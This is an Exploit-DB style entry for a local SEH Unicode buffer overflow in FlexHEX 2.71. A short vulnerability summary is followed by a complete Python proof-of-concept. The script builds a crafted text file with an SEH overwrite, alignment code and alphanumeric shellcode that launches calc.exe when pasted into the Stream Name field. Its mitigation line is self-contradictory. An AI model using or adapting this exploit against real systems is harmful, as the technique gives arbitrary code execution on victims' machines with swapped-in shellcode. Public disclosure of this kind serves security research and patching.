FlexHEX 2.71 - Local Buffer Overflow (SEH Unicode)

vendor:

FlexHEX

by:

Chris Au

7.8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: FlexHEX

Affected Version From: 2.71

Affected Version To: 2.71

Patch Exists: YES

Related CWE: N/A

CPE: a:flexhex:flexhex:2.71

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows XP SP3

2019

FlexHEX 2.71 – Local Buffer Overflow (SEH Unicode)

FlexHEX 2.71 is vulnerable to a local buffer overflow vulnerability when a maliciously crafted file is opened. This can be exploited to execute arbitrary code by corrupting the SEH chain and overwriting the return address with a pointer to the shellcode.

Mitigation:

Upgrade to the latest version of FlexHEX 2.71

Source

Exploit-DB raw data:

#!/usr/bin/python -w

#
# Exploit Author: Chris Au
# Exploit Title:  FlexHEX 2.71 - Local Buffer Overflow (SEH Unicode)
# Date: 06-04-2019
# Vulnerable Software: FlexHEX 2.71
# Vendor Homepage: http://www.flexhex.com
# Version: 2.71
# Software Link: http://www.flexhex.com/download/flexhex_setup.exe
# Tested Windows Windows XP SP3
#
#
# PoC
# 1. generate evil.txt, copy contents to clipboard
# 2. open FlexHEX Editor
# 3. select "Stream", click "New Stream..."
# 4. paste contents from clipboard in the "Stream Name:"
# 5. select OK
# 6. calc.exe
#
 
filename="evil.txt"
junk = "\xcc" * 276
nseh = "\x90\x45"
seh = "\xd5\x52" #pop pop retn
valign = (
"\x45" #align
"\x56" #push esi
"\x45" #align
"\x58" #pop eax
"\x45" #align
"\x05\x20\x11" #add eax,11002000
"\x45" #align
"\x2d\x1a\x11" #sub eax,11001a00
"\x45" #align
"\x50" #push eax
"\x45" #align
"\xc3" #retn
)
#nop to shell
nop = "\x45" * 94
#call calc.exe, bufferRegister=EAX
shellcode = (
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAI"
"AQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIA"
"JQYAZBABABABABkMAGB9u4JBkLK8qrM0ypyps0e9xeP1Y0RD4K"
"npnPrkPRLLbkb2N42kt2lhlOegmzkvMaYodlMl0aqlKRnLo0Uq"
"foLMzai7zBl2nrOgTKnrJptKNjoLBkpLjqahISQ8KQ8QpQRkaI"
"kpKQYCbkMyzxHcnZq9bkNTTK9q9FMaYofLVa8OLMjaI7p8GpRU"
"9flCamXxmksMo4d5JD1HrknxMTYq8Sc6RkJl0KtKnxKlkQFs4K"
"zdtKKQJ0RiQ4NDLdOkOkC1pYOjOakOyPQOqOpZ4KN2zKTMaM0j"
"kQbmu55bKP9pM0b0C8014KROQwkOIEek8pTuTbPVQXcvTU7MeM"
"iohUOLm6qlyze09k7p0u9ugKa7mCPrbOqZ9pOcYoHURCPa0l0c"
"Lnc51hOuipAA")
fill = "\x45" * 5000
buffer = junk + nseh + seh + valign + nop + shellcode + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()